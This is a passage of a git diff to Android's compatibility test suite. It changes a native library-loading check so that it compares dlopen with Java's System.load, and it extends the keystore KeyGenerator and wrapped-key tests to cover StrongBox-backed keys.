   return library_search_paths.count(path.substr(0, path.size() - tail.size())) > 0;
 }
 
-static bool check_lib(const std::string& path,
+// Tests if a file can be loaded or not. Returns empty string on success. On any failure
+// returns the error message from dlerror().
+static std::string load_library(JNIEnv* env, jclass clazz, const std::string& path) {
+  // try to load the lib using dlopen().
+  void *handle = dlopen(path.c_str(), RTLD_NOW);
+  std::string error;
+
+  bool loaded_in_native = handle != nullptr;
+  if (loaded_in_native) {
+    dlclose(handle);
+  } else {
+    error = dlerror();
+  }
+
+  if (android::base::EndsWith(path, '/' + kWebViewPlatSupportLib)) {
+    // Don't try to load this library from Java. Otherwise, the lib is initialized via
+    // JNI_OnLoad and it fails since WebView is not loaded in this test process.
+    return error;
+  }
+
+  // try to load the same lib using System.load() in Java to see if it gives consistent
+  // result with dlopen.
+  static jmethodID load_library = env->GetStaticMethodID(clazz, "loadSharedLibrary",
+                                            "(Ljava/lang/String;)Z");
+  jstring jpath = env->NewStringUTF(path.c_str());
+  bool loaded_in_java = env->CallStaticBooleanMethod(clazz, load_library, jpath) == JNI_TRUE;
+  env->DeleteLocalRef(jpath);
+  if (loaded_in_native != loaded_in_java) {
+    error = "Inconsistent result for library \"" + path + "\":" +
+                      " dlopen() was " + (loaded_in_native ? "success" : "failure") +
+                      ", System.loadLibrary() was " + (loaded_in_java ? "success" : "failure");
+  } else if (loaded_in_java) {
+    // Unload the shared lib loaded in Java. Since we don't have a method in Java for unloading a
+    // lib other than destroying the classloader, here comes a trick; we open the same library
+    // again with dlopen to get the handle for the lib and then calls dlclose twice (since we have
+    // opened the lib twice; once in Java, once in here). This works because dlopen returns the
+    // the same handle for the same shared lib object.
+    handle = dlopen(path.c_str(), RTLD_NOW);
+    dlclose(handle);
+    dlclose(handle); // don't delete this line. it's not a mistake.
+  }
+
+  return error;
+}
+
+static bool check_lib(JNIEnv* env,
+                      jclass clazz,
+                      const std::string& path,
                       const std::unordered_set<std::string>& library_search_paths,
                       const std::unordered_set<std::string>& libraries,
                       std::vector<std::string>* errors) {
-  std::unique_ptr<void, decltype(&dlclose)> handle(dlopen(path.c_str(), RTLD_NOW), dlclose);
+  std::string err = load_library(env, clazz, path);
+  bool loaded = err.empty();
 
   // The current restrictions on public libraries:
   //  - It must exist only in the top level directory of "library_search_paths".
@@ -118,17 +168,15 @@
   std::string baselib = basename(path.c_str());
   if (libraries.find(baselib) != libraries.end() &&
       is_library_on_path(library_search_paths, baselib, path)) {
-    if (handle.get() == nullptr) {
+    if (!loaded) {
       errors->push_back("The library \"" + path +
-                        "\" is a public library but it cannot be loaded: " + dlerror());
+                        "\" is a public library but it cannot be loaded: " + err);
       return false;
     }
-  } else if (handle.get() != nullptr) {
+  } else if (loaded) {
     errors->push_back("The library \"" + path + "\" is not a public library but it loaded.");
     return false;
-  } else { // (handle == nullptr && !shouldBeAccessible(path))
-    // Check the error message
-    std::string err = dlerror();
+  } else { // (!loaded && !shouldBeAccessible(path))
     if (!not_accessible(err) && !not_found(err) && !wrong_arch(path, err)) {
       errors->push_back("unexpected dlerror: " + err);
       return false;
@@ -137,7 +185,9 @@
   return true;
 }
 
-static bool check_path(const std::string& library_path,
+static bool check_path(JNIEnv* env,
+                       jclass clazz,
+                       const std::string& library_path,
                        const std::unordered_set<std::string>& library_search_paths,
                        const std::unordered_set<std::string>& libraries,
                        std::vector<std::string>* errors) {
@@ -165,7 +215,7 @@
       std::string path = dir + "/" + dp->d_name;
       if (is_directory(path.c_str())) {
         dirs.push(path);
-      } else if (!check_lib(path, library_search_paths, libraries, errors)) {
+      } else if (!check_lib(env, clazz, path, library_search_paths, libraries, errors)) {
         success = false;
       }
     }
@@ -228,7 +278,7 @@
 extern "C" JNIEXPORT jstring JNICALL
     Java_android_jni_cts_LinkerNamespacesHelper_runAccessibilityTestImpl(
         JNIEnv* env,
-        jclass clazz __attribute__((unused)),
+        jclass clazz,
         jobjectArray java_system_public_libraries,
         jobjectArray java_vendor_public_libraries,
         jobjectArray java_product_public_libraries) {
@@ -278,35 +328,35 @@
   // libraries being available in /system/${LIB}/
   system_library_search_paths.insert(kSystemLibraryPath);
 
-  if (!check_path(kSystemLibraryPath, system_library_search_paths, system_public_libraries, &errors)) {
+  if (!check_path(env, clazz, kSystemLibraryPath, system_library_search_paths,
+                  system_public_libraries, &errors)) {
     success = false;
   }
 
   // Check that the mandatory system libraries are present - the grey list
   for (const auto& name : kSystemLibraries) {
     std::string library = kSystemLibraryPath + "/" + name;
-    void* handle = dlopen(library.c_str(), RTLD_NOW);
-    if (handle == nullptr) {
-      std::string err = dlerror();
+    std::string err = load_library(env, clazz, library);
+    if (!err.empty()) {
       // The libraries should be present and produce specific dlerror when inaccessible.
       if (!not_accessible(err)) {
           errors.push_back("Mandatory system library \"" + library + "\" failed to load with unexpected error: " + err);
           success = false;
       }
-    } else {
-      dlclose(handle);
     }
   }
 
   // Check the product libraries, if /product/lib exists.
   if (is_directory(kProductLibraryPath.c_str())) {
-    if (!check_path(kProductLibraryPath, { kProductLibraryPath }, product_public_libraries, &errors)) {
+    if (!check_path(env, clazz, kProductLibraryPath, { kProductLibraryPath },
+                    product_public_libraries, &errors)) {
       success = false;
     }
   }
 
   // Check the vendor libraries.
-  if (!check_path(kVendorLibraryPath, { kVendorLibraryPath }, vendor_public_libraries, &errors)) {
+  if (!check_path(env, clazz, kVendorLibraryPath, { kVendorLibraryPath },
+                  vendor_public_libraries, &errors)) {
     success = false;
   }
 
diff --git a/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java b/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
index 1bc5f8c..bdbafa3 100644
--- a/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
+++ b/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
@@ -22,6 +22,7 @@
 import java.io.FilenameFilter;
 import java.io.IOException;
 import java.util.ArrayList;
+import java.util.Arrays;
 import java.util.Collections;
 import java.util.HashSet;
 import java.util.List;
@@ -45,6 +46,7 @@
     private final static String[] PUBLIC_SYSTEM_LIBRARIES = {
         "libaaudio.so",
         "libandroid.so",
+        "libbinder_ndk.so",
         "libc.so",
         "libcamera2ndk.so",
         "libdl.so",
@@ -223,6 +225,28 @@
         return nativePath;
     }
 
+    private static boolean loadSharedLibrary(String libFilePath) {
+        String baseName = new File(libFilePath).getName();
+        try {
+            System.load(libFilePath);
+            // Also ensure that the lib is also accessible via its libname.
+            // Drop 'lib' and '.so' from the name
+            System.loadLibrary(baseName.substring(3, baseName.length()-3));
+            return true;
+        } catch (UnsatisfiedLinkError e) {
+            // all other exceptions are just thrown
+            if (e.getMessage().contains("Shared library \"" + libFilePath +
+                    "\" already opened by ClassLoader") &&
+                    Arrays.asList(PUBLIC_SYSTEM_LIBRARIES).contains(baseName)) {
+                // If one of the public system libraries are already opened in the
+                // bootclassloader, consider this try as success, because dlopen to the lib
+                // is successful.
+                return true;
+            }
+            return false;
+        }
+    }
+
     // Verify the behaviour of native library loading in class loaders.
     // In this test:
     //    - libjninamespacea1, libjninamespacea2 and libjninamespaceb depend on libjnicommon
diff --git a/tests/tests/keystore/Android.mk b/tests/tests/keystore/Android.mk
index a7d84d6..9814939 100644
--- a/tests/tests/keystore/Android.mk
+++ b/tests/tests/keystore/Android.mk
@@ -23,7 +23,7 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
-LOCAL_JAVA_LIBRARIES := bouncycastle
+LOCAL_JAVA_LIBRARIES := bouncycastle-unbundled
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
         android-support-test \
diff --git a/tests/tests/keystore/src/android/keystore/cts/ImportWrappedKeyTest.java b/tests/tests/keystore/src/android/keystore/cts/ImportWrappedKeyTest.java
index c9d2e2b..7a03aaf 100644
--- a/tests/tests/keystore/src/android/keystore/cts/ImportWrappedKeyTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/ImportWrappedKeyTest.java
@@ -36,14 +36,14 @@
 import android.security.keystore.WrappedKeyEntry;
 import android.test.AndroidTestCase;
 
-import com.android.org.bouncycastle.asn1.ASN1Encoding;
-import com.android.org.bouncycastle.asn1.DEREncodableVector;
-import com.android.org.bouncycastle.asn1.DERInteger;
-import com.android.org.bouncycastle.asn1.DERNull;
-import com.android.org.bouncycastle.asn1.DEROctetString;
-import com.android.org.bouncycastle.asn1.DERSequence;
-import com.android.org.bouncycastle.asn1.DERSet;
-import com.android.org.bouncycastle.asn1.DERTaggedObject;
+import org.bouncycastle.asn1.ASN1Encoding;
+import org.bouncycastle.asn1.DEREncodableVector;
+import org.bouncycastle.asn1.DERInteger;
+import org.bouncycastle.asn1.DERNull;
+import org.bouncycastle.asn1.DEROctetString;
+import org.bouncycastle.asn1.DERSequence;
+import org.bouncycastle.asn1.DERSet;
+import org.bouncycastle.asn1.DERTaggedObject;
 
 import java.security.Key;
 import java.security.KeyPair;
@@ -65,7 +65,15 @@
 import javax.crypto.spec.PSource;
 import javax.crypto.spec.SecretKeySpec;
 
+import java.lang.Process;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.lang.InterruptedException;
+
 public class ImportWrappedKeyTest extends AndroidTestCase {
+    private static final String TAG = "ImportWrappedKeyTest";
 
     private static final String ALIAS = "my key";
     private static final String WRAPPING_KEY_ALIAS = "my_favorite_wrapping_key";
@@ -117,6 +125,24 @@
         assertEquals(new String(c.doFinal(encrypted)), "hello, world");
     }
 
+    public void testKeyStore_ImportWrappedKeyWrappingKeyMissing() throws Exception {
+        final String EXPECTED_FAILURE = "Failed to import wrapped key. Keystore error code: 7";
+        String failureMessage = null;
+
+        try {
+            byte [] fakeWrappedKey = new byte[1];
+            importWrappedKey(fakeWrappedKey, WRAPPING_KEY_ALIAS + "_Missing");
+        } catch (KeyStoreException e) {
+            failureMessage = e.getMessage();
+        }
+
+        if (failureMessage == null) {
+            fail("Did not hit a failure but expected one");
+        }
+
+        assertEquals(failureMessage, EXPECTED_FAILURE);
+    }
+
     public void testKeyStore_ImportWrappedKey_3DES() throws Exception {
       if (!TestUtils.supports3DES()) {
           return;
@@ -258,19 +284,23 @@
         }
     }
 
-    public void importWrappedKey(byte[] wrappedKey) throws Exception {
+    public void importWrappedKey(byte[] wrappedKey, String wrappingKeyAlias) throws Exception {
         KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
         keyStore.load(null, null);
 
-        AlgorithmParameterSpec spec = new KeyGenParameterSpec.Builder(WRAPPING_KEY_ALIAS,
+        AlgorithmParameterSpec spec = new KeyGenParameterSpec.Builder(wrappingKeyAlias,
                 KeyProperties.PURPOSE_WRAP_KEY)
                 .setDigests(KeyProperties.DIGEST_SHA1)
                 .build();
-        Entry wrappedKeyEntry = new WrappedKeyEntry(wrappedKey, WRAPPING_KEY_ALIAS,
+        Entry wrappedKeyEntry = new WrappedKeyEntry(wrappedKey, wrappingKeyAlias,
                   "RSA/ECB/OAEPPadding", spec);
         keyStore.setEntry(ALIAS, wrappedKeyEntry, null);
     }
 
+    public void importWrappedKey(byte[] wrappedKey) throws Exception {
+        importWrappedKey(wrappedKey, WRAPPING_KEY_ALIAS);
+    }
+
     public byte[] wrapKey(PublicKey publicKey, byte[] keyMaterial, byte[] mask,
             DERSequence authorizationList)
             throws Exception {
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
index 6b925d4..bb2bb1b 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
@@ -62,8 +62,8 @@
 import android.test.AndroidTestCase;
 import android.util.ArraySet;
 
-import com.android.org.bouncycastle.asn1.x500.X500Name;
-import com.android.org.bouncycastle.cert.jcajce.JcaX509CertificateHolder;
+import org.bouncycastle.asn1.x500.X500Name;
+import org.bouncycastle.cert.jcajce.JcaX509CertificateHolder;
 
 import java.security.GeneralSecurityException;
 import java.security.InvalidAlgorithmParameterException;
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyGeneratorTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyGeneratorTest.java
index eeadf46..b8e6d69 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyGeneratorTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyGeneratorTest.java
@@ -19,6 +19,7 @@
 import android.security.keystore.KeyGenParameterSpec;
 import android.security.keystore.KeyInfo;
 import android.security.keystore.KeyProperties;
+import android.test.AndroidTestCase;
 import android.test.MoreAsserts;
 
 import com.google.common.collect.ObjectArrays;
@@ -45,7 +46,8 @@
 import javax.crypto.KeyGenerator;
 import javax.crypto.SecretKey;
 
-public class KeyGeneratorTest extends TestCase {
+
+public class KeyGeneratorTest extends AndroidTestCase {
     private static final String EXPECTED_PROVIDER_NAME = TestUtils.EXPECTED_PROVIDER_NAME;
 
     static String[] EXPECTED_ALGORITHMS = {
@@ -57,6 +59,11 @@
         "HmacSHA512",
     };
 
+    static String[] EXPECTED_STRONGBOX_ALGORITHMS = {
+        "AES",
+        "HmacSHA256",
+    };
+
     {
         if (TestUtils.supports3DES()) {
             EXPECTED_ALGORITHMS = ObjectArrays.concat(EXPECTED_ALGORITHMS, "DESede");
@@ -76,6 +83,7 @@
     }
 
     static final int[] AES_SUPPORTED_KEY_SIZES = new int[] {128, 192, 256};
+    static final int[] DES_SUPPORTED_KEY_SIZES = new int[] {112, 168};
 
     public void testAlgorithmList() {
         // Assert that Android Keystore Provider exposes exactly the expected KeyGenerator
@@ -179,10 +187,22 @@
 
     public void testInitWithAlgParamsAndNullSecureRandom()
             throws Exception {
-        for (String algorithm : EXPECTED_ALGORITHMS) {
+        testInitWithAlgParamsAndNullSecureRandomHelper(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testInitWithAlgParamsAndNullSecureRandomHelper(true /* useStrongbox */);
+        }
+    }
+
+    private void testInitWithAlgParamsAndNullSecureRandomHelper(boolean useStrongbox)
+            throws Exception {
+        for (String algorithm :
+            (useStrongbox ? EXPECTED_STRONGBOX_ALGORITHMS : EXPECTED_ALGORITHMS)) {
             try {
                 KeyGenerator keyGenerator = getKeyGenerator(algorithm);
-                keyGenerator.init(getWorkingSpec().build(), (SecureRandom) null);
+                keyGenerator.init(getWorkingSpec()
+                    .setIsStrongBoxBacked(useStrongbox)
+                    .build(),
+                    (SecureRandom) null);
                 // Check that generateKey doesn't fail either, just in case null SecureRandom
                 // causes trouble there.
                 keyGenerator.generateKey();
@@ -208,7 +228,15 @@
     }
 
     public void testDefaultKeySize() throws Exception {
-        for (String algorithm : EXPECTED_ALGORITHMS) {
+        testDefaultKeySize(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testDefaultKeySize(true /* useStrongbox */);
+        }
+    }
+
+    private void testDefaultKeySize(boolean useStrongbox) throws Exception {
+        for (String algorithm :
+            (useStrongbox ? EXPECTED_STRONGBOX_ALGORITHMS : EXPECTED_ALGORITHMS)) {
             try {
                 int expectedSizeBits = DEFAULT_KEY_SIZES.get(algorithm);
                 KeyGenerator keyGenerator = getKeyGenerator(algorithm);
@@ -222,6 +250,13 @@
     }
 
     public void testAesKeySupportedSizes() throws Exception {
+        testAesKeySupportedSizesHelper(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testAesKeySupportedSizesHelper(true /* useStrongbox */);
+        }
+    }
+
+    private void testAesKeySupportedSizesHelper(boolean useStrongbox) throws Exception {
         KeyGenerator keyGenerator = getKeyGenerator("AES");
         KeyGenParameterSpec.Builder goodSpec = getWorkingSpec();
         CountingSecureRandom rng = new CountingSecureRandom();
@@ -230,10 +265,12 @@
                 rng.resetCounters();
                 KeyGenParameterSpec spec;
                 if (i >= 0) {
-                    spec = TestUtils.buildUpon(goodSpec.setKeySize(i)).build();
+                    spec = TestUtils.buildUpon(
+                        goodSpec.setKeySize(i)).setIsStrongBoxBacked(useStrongbox).build();
                 } else {
                     try {
-                        spec = TestUtils.buildUpon(goodSpec.setKeySize(i)).build();
+                        spec = TestUtils.buildUpon(
+                            goodSpec.setKeySize(i)).setIsStrongBoxBacked(useStrongbox).build();
                         fail();
                     } catch (IllegalArgumentException expected) {
                         continue;
@@ -258,9 +295,55 @@
         }
     }
 
-    public void testHmacKeySupportedSizes() throws Exception {
+    // TODO: This test will fail until b/117509689 is resolved.
+    public void testDESKeySupportedSizes() throws Exception {
+        KeyGenerator keyGenerator = getKeyGenerator("DESede");
+        KeyGenParameterSpec.Builder goodSpec = getWorkingSpec();
         CountingSecureRandom rng = new CountingSecureRandom();
-        for (String algorithm : EXPECTED_ALGORITHMS) {
+        for (int i = -16; i <= 168; i++) {
+            try {
+                rng.resetCounters();
+                KeyGenParameterSpec spec;
+                if (i >= 0) {
+                    spec = TestUtils.buildUpon(goodSpec.setKeySize(i)).build();
+                } else {
+                    try {
+                        spec = TestUtils.buildUpon(goodSpec.setKeySize(i)).build();
+                        fail();
+                    } catch (IllegalArgumentException expected) {
+                        continue;
+                    }
+                }
+                rng.resetCounters();
+                if (TestUtils.contains(DES_SUPPORTED_KEY_SIZES, i)) {
+                    keyGenerator.init(spec, rng);
+                    SecretKey key = keyGenerator.generateKey();
+                    assertEquals(i, TestUtils.getKeyInfo(key).getKeySize());
+                } else {
+                    try {
+                        keyGenerator.init(spec, rng);
+                        fail();
+                    } catch (InvalidAlgorithmParameterException expected) {}
+                    assertEquals(0, rng.getOutputSizeBytes());
+                }
+            } catch (Throwable e) {
+                throw new RuntimeException("Failed for key size " + i +
+                    "\n***This test will continue to fail until b/117509689 is resolved***", e);
+            }
+        }
+    }
+
+    public void testHmacKeySupportedSizes() throws Exception {
+        testHmacKeySupportedSizesHelper(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testHmacKeySupportedSizesHelper(true /* useStrongbox */);
+        }
+    }
+
+    private void testHmacKeySupportedSizesHelper(boolean useStrongbox) throws Exception {
+        CountingSecureRandom rng = new CountingSecureRandom();
+        for (String algorithm :
+            useStrongbox ? EXPECTED_STRONGBOX_ALGORITHMS : EXPECTED_ALGORITHMS) {
             if (!TestUtils.isHmacAlgorithm(algorithm)) {
                 continue;
             }
@@ -271,15 +354,30 @@
                     KeyGenerator keyGenerator = getKeyGenerator(algorithm);
                     KeyGenParameterSpec spec;
                     if (i >= 0) {
-                        spec = getWorkingSpec().setKeySize(i).build();
+                        spec = getWorkingSpec()
+                            .setKeySize(i)
+                            .setIsStrongBoxBacked(useStrongbox)
+                            .build();
                     } else {
                         try {
-                            spec = getWorkingSpec().setKeySize(i).build();
+                            spec = getWorkingSpec()
+                                .setKeySize(i)
+                                .setIsStrongBoxBacked(useStrongbox)
+                                .build();
                             fail();
                         } catch (IllegalArgumentException expected) {
                             continue;
                         }
                     }
+                    // Strongbox must not support keys larger than 512 bits
+                    // TODO: This test currently fails, will be fixed on resolution of b/113525261
+                    if (useStrongbox && i > 512) {
+                        try {
+                            keyGenerator.init(spec, rng);
+                            fail();
+                        } catch (InvalidAlgorithmParameterException expected) {}
+                        assertEquals(0, rng.getOutputSizeBytes());
+                    }
                     if ((i >= 64) && ((i % 8 ) == 0)) {
                         keyGenerator.init(spec, rng);
                         SecretKey key = keyGenerator.generateKey();
@@ -301,7 +399,16 @@
     }
 
     public void testHmacKeyOnlyOneDigestCanBeAuthorized() throws Exception {
-        for (String algorithm : EXPECTED_ALGORITHMS) {
+        testHmacKeyOnlyOneDigestCanBeAuthorizedHelper(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testHmacKeyOnlyOneDigestCanBeAuthorizedHelper(true /* useStrongbox */);
+        }
+    }
+
+    private void testHmacKeyOnlyOneDigestCanBeAuthorizedHelper(boolean useStrongbox)
+        throws Exception {
+        for (String algorithm :
+            useStrongbox ? EXPECTED_STRONGBOX_ALGORITHMS : EXPECTED_ALGORITHMS) {
             if (!TestUtils.isHmacAlgorithm(algorithm)) {
                 continue;
             }
@@ -316,21 +423,30 @@
                 KeyGenerator keyGenerator = getKeyGenerator(algorithm);
 
                 // Digests authorization not specified in algorithm parameters
-                assertFalse(goodSpec.build().isDigestsSpecified());
-                keyGenerator.init(goodSpec.build());
+                assertFalse(goodSpec
+                    .setIsStrongBoxBacked(useStrongbox)
+                    .build()
+                    .isDigestsSpecified());
+                keyGenerator.init(goodSpec.setIsStrongBoxBacked(useStrongbox).build());
                 SecretKey key = keyGenerator.generateKey();
                 TestUtils.assertContentsInAnyOrder(
                         Arrays.asList(TestUtils.getKeyInfo(key).getDigests()), digest);
 
                 // The same digest is specified in algorithm parameters
-                keyGenerator.init(TestUtils.buildUpon(goodSpec).setDigests(digest).build());
+                keyGenerator.init(TestUtils.buildUpon(goodSpec)
+                    .setDigests(digest)
+                    .setIsStrongBoxBacked(useStrongbox)
+                    .build());
                 key = keyGenerator.generateKey();
                 TestUtils.assertContentsInAnyOrder(
                         Arrays.asList(TestUtils.getKeyInfo(key).getDigests()), digest);
 
                 // No digests specified in algorithm parameters
                 try {
-                    keyGenerator.init(TestUtils.buildUpon(goodSpec).setDigests().build());
+                    keyGenerator.init(TestUtils.buildUpon(goodSpec)
+                        .setDigests()
+                        .setIsStrongBoxBacked(useStrongbox)
+                        .build());
                     fail();
                 } catch (InvalidAlgorithmParameterException expected) {}
 
@@ -339,12 +455,14 @@
                 try {
                     keyGenerator.init(TestUtils.buildUpon(goodSpec)
                             .setDigests(anotherDigest)
+                            .setIsStrongBoxBacked(useStrongbox)
                             .build());
                     fail();
                 } catch (InvalidAlgorithmParameterException expected) {}
                 try {
                     keyGenerator.init(TestUtils.buildUpon(goodSpec)
                             .setDigests(digest, anotherDigest)
+                            .setIsStrongBoxBacked(useStrongbox)
                             .build());
                     fail();
                 } catch (InvalidAlgorithmParameterException expected) {}
@@ -355,11 +473,23 @@
     }
 
     public void testInitWithUnknownBlockModeFails() {
-        for (String algorithm : EXPECTED_ALGORITHMS) {
+        testInitWithUnknownBlockModeFailsHelper(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testInitWithUnknownBlockModeFailsHelper(true /* useStrongbox */);
+        }
+    }
+
+    public void testInitWithUnknownBlockModeFailsHelper(boolean useStrongbox) {
+        for (String algorithm :
+            useStrongbox ? EXPECTED_STRONGBOX_ALGORITHMS : EXPECTED_ALGORITHMS) {
             try {
                 KeyGenerator keyGenerator = getKeyGenerator(algorithm);
                 try {
-                    keyGenerator.init(getWorkingSpec().setBlockModes("weird").build());
+                    keyGenerator.init(
+                        getWorkingSpec()
+                        .setBlockModes("weird")
+                        .setIsStrongBoxBacked(useStrongbox)
+                        .build());
                     fail();
                 } catch (InvalidAlgorithmParameterException expected) {}
             } catch (Throwable e) {
@@ -369,11 +499,23 @@
     }
 
     public void testInitWithUnknownEncryptionPaddingFails() {
-        for (String algorithm : EXPECTED_ALGORITHMS) {
+        testInitWithUnknownEncryptionPaddingFailsHelper(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testInitWithUnknownEncryptionPaddingFailsHelper(true /* useStrongbox */);
+        }
+    }
+
+    private void testInitWithUnknownEncryptionPaddingFailsHelper(boolean useStrongbox) {
+        for (String algorithm :
+            useStrongbox ? EXPECTED_STRONGBOX_ALGORITHMS : EXPECTED_ALGORITHMS) {
             try {
                 KeyGenerator keyGenerator = getKeyGenerator(algorithm);
                 try {
-                    keyGenerator.init(getWorkingSpec().setEncryptionPaddings("weird").build());
+                    keyGenerator.init(
+                        getWorkingSpec()
+                        .setEncryptionPaddings("weird")
+                        .setIsStrongBoxBacked(useStrongbox)
+                        .build());
                     fail();
                 } catch (InvalidAlgorithmParameterException expected) {}
             } catch (Throwable e) {
@@ -383,12 +525,21 @@
     }
 
     public void testInitWithSignaturePaddingFails() {
-        for (String algorithm : EXPECTED_ALGORITHMS) {
+        testInitWithSignaturePaddingFailsHelper(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testInitWithSignaturePaddingFailsHelper(true /* useStrongbox */);
+        }
+    }
+
+    private void testInitWithSignaturePaddingFailsHelper(boolean useStrongbox) {
+        for (String algorithm :
+            useStrongbox ? EXPECTED_STRONGBOX_ALGORITHMS : EXPECTED_ALGORITHMS) {
             try {
                 KeyGenerator keyGenerator = getKeyGenerator(algorithm);
                 try {
                     keyGenerator.init(getWorkingSpec()
                             .setSignaturePaddings(KeyProperties.SIGNATURE_PADDING_RSA_PKCS1)
+                            .setIsStrongBoxBacked(useStrongbox)
                             .build());
                     fail();
                 } catch (InvalidAlgorithmParameterException expected) {}
@@ -399,7 +550,15 @@
     }
 
     public void testInitWithUnknownDigestFails() {
-        for (String algorithm : EXPECTED_ALGORITHMS) {
+        testInitWithUnknownDigestFailsHelper(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testInitWithUnknownDigestFailsHelper(true /* useStrongbox */);
+        }
+    }
+
+    public void testInitWithUnknownDigestFailsHelper(boolean useStrongbox) {
+        for (String algorithm :
+            useStrongbox ? EXPECTED_STRONGBOX_ALGORITHMS : EXPECTED_ALGORITHMS) {
             try {
                 KeyGenerator keyGenerator = getKeyGenerator(algorithm);
                 try {
@@ -411,7 +570,11 @@
                     } else {
                         digests = new String[] {"weird"};
                     }
-                    keyGenerator.init(getWorkingSpec().setDigests(digests).build());
+                    keyGenerator.init(
+                        getWorkingSpec()
+                        .setDigests(digests)
+                        .setIsStrongBoxBacked(useStrongbox)
+                        .build());
                     fail();
                 } catch (InvalidAlgorithmParameterException expected) {}
             } catch (Throwable e) {
@@ -421,7 +584,17 @@
     }
 
     public void testInitWithKeyAlgorithmDigestMissingFromAuthorizedDigestFails() {
-        for (String algorithm : EXPECTED_ALGORITHMS) {
+        testInitWithKeyAlgorithmDigestMissingFromAuthorizedDigestFailsHelper(
+            false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testInitWithKeyAlgorithmDigestMissingFromAuthorizedDigestFailsHelper(
+                true /* useStrongbox */);
+        }
+    }
+
+    private void testInitWithKeyAlgorithmDigestMissingFromAuthorizedDigestFailsHelper(boolean useStrongbox) {
+        for (String algorithm :
+            useStrongbox ? EXPECTED_STRONGBOX_ALGORITHMS : EXPECTED_ALGORITHMS) {
             if (!TestUtils.isHmacAlgorithm(algorithm)) {
                 continue;
             }
@@ -433,13 +606,21 @@
                     String digest = TestUtils.getHmacAlgorithmDigest(algorithm);
                     String anotherDigest = KeyProperties.DIGEST_SHA256.equalsIgnoreCase(digest)
                             ? KeyProperties.DIGEST_SHA512 : KeyProperties.DIGEST_SHA256;
-                    keyGenerator.init(getWorkingSpec().setDigests(anotherDigest).build());
+                    keyGenerator.init(
+                        getWorkingSpec()
+                        .setDigests(anotherDigest)
+                        .setIsStrongBoxBacked(useStrongbox)
+                        .build());
                     fail();
                 } catch (InvalidAlgorithmParameterException expected) {}
 
                 // Authorized for empty set of digests
                 try {
-                    keyGenerator.init(getWorkingSpec().setDigests().build());
+                    keyGenerator.init(
+                        getWorkingSpec()
+                        .setDigests()
+                        .setIsStrongBoxBacked(useStrongbox)
+                        .build());
                     fail();
                 } catch (InvalidAlgorithmParameterException expected) {}
             } catch (Throwable e) {
@@ -449,13 +630,23 @@
     }
 
     public void testInitRandomizedEncryptionRequiredButViolatedFails() throws Exception {
-        for (String algorithm : EXPECTED_ALGORITHMS) {
+        testInitRandomizedEncryptionRequiredButViolatedFailsHelper(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testInitRandomizedEncryptionRequiredButViolatedFailsHelper(true /* useStrongbox */);
+        }
+    }
+
+    public void testInitRandomizedEncryptionRequiredButViolatedFailsHelper(boolean useStrongbox)
+        throws Exception {
+        for (String algorithm :
+            useStrongbox ? EXPECTED_STRONGBOX_ALGORITHMS : EXPECTED_ALGORITHMS) {
             try {
                 KeyGenerator keyGenerator = getKeyGenerator(algorithm);
                 try {
                     keyGenerator.init(getWorkingSpec(
                             KeyProperties.PURPOSE_ENCRYPT)
                             .setBlockModes(KeyProperties.BLOCK_MODE_ECB)
+                            .setIsStrongBoxBacked(useStrongbox)
                             .build());
                     fail();
                 } catch (InvalidAlgorithmParameterException expected) {}
@@ -466,12 +657,21 @@
     }
 
     public void testGenerateHonorsRequestedAuthorizations() throws Exception {
+        testGenerateHonorsRequestedAuthorizationsHelper(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testGenerateHonorsRequestedAuthorizationsHelper(true /* useStrongbox */);
+        }
+    }
+
+    private void testGenerateHonorsRequestedAuthorizationsHelper(boolean useStrongbox)
+        throws Exception {
         Date keyValidityStart = new Date(System.currentTimeMillis() - TestUtils.DAY_IN_MILLIS);
         Date keyValidityForOriginationEnd =
                 new Date(System.currentTimeMillis() + TestUtils.DAY_IN_MILLIS);
         Date keyValidityForConsumptionEnd =
                 new Date(System.currentTimeMillis() + 3 * TestUtils.DAY_IN_MILLIS);
-        for (String algorithm : EXPECTED_ALGORITHMS) {
+        for (String algorithm :
+            useStrongbox ? EXPECTED_STRONGBOX_ALGORITHMS : EXPECTED_ALGORITHMS) {
             try {
                 String[] blockModes =
                         new String[] {KeyProperties.BLOCK_MODE_GCM, KeyProperties.BLOCK_MODE_CBC};
@@ -497,6 +697,7 @@
                         .setKeyValidityStart(keyValidityStart)
                         .setKeyValidityForOriginationEnd(keyValidityForOriginationEnd)
                         .setKeyValidityForConsumptionEnd(keyValidityForConsumptionEnd)
+                        .setIsStrongBoxBacked(useStrongbox)
                         .build());
                 SecretKey key = keyGenerator.generateKey();
